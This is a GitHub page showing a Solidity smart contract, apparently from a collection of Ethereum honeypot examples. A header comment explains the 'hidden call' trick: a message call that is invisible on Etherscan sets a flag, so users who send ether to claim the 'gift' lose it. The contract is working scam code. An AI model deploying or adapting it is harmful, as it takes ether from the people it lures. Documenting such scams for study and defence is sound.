-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy path02_hidden_call.sol
46 lines (39 loc) · 948 Bytes
/
02_hidden_call.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
* Title: Hidden Call
* Trick: passHasBeenSet has been set to True via message call from the other contract, which is invisible on Etherscan
* Reference: https://etherscan.io/address/0x75041597d8f6e869092d78b9814b7bcdeeb393b4#code
*/
pragma solidity ^0.4.19;
contract Gift_1_ETH
{
bool passHasBeenSet = false;
function()payable{}
function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
bytes32 public hashPass;
function SetPass(bytes32 hash)
public
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}
function GetGift(bytes pass)
external
payable
{
if(hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
}